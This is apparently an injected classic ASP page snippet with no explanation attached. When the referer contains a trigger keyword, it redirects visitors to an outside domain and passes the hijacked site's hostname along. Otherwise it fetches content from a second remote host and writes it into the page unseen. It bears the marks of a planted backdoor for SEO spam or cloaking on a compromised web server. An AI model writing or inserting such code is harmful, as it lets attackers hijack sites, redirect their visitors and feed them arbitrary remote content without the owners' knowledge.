<% Function GetUrl() dim url url=Request.ServerVariables("SERVER_NAME") Set reg = New RegExp reg.Pattern = "^(?:http)?s?(?::\/\/)?(?: www.|\*.|\.)?(.*)$" reg.Global = True reg.IgnoreCase = True GetUrl = reg.Replace(url,"$1") End Function Dim REFERER REFERER = Cstr(Request.ServerVariables("HTTP_REFERER")) If InStr(REFERER,"rrr87rrr") > 0 Then Response.Redirect("http://www.198668.net/data/cache/vip.html?"&GetUrl&"") Response.End() End IF response.write content %> <% url="http://tt78.com/Script/Ajax/3/index.asp" Path = url & "?" & now() t = GetBody(Path) Response.BinaryWrite t Function GetBody(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With on error resume next if Retrieval.status <>200 then Set Retrieval = Nothing exit function end if End Function %>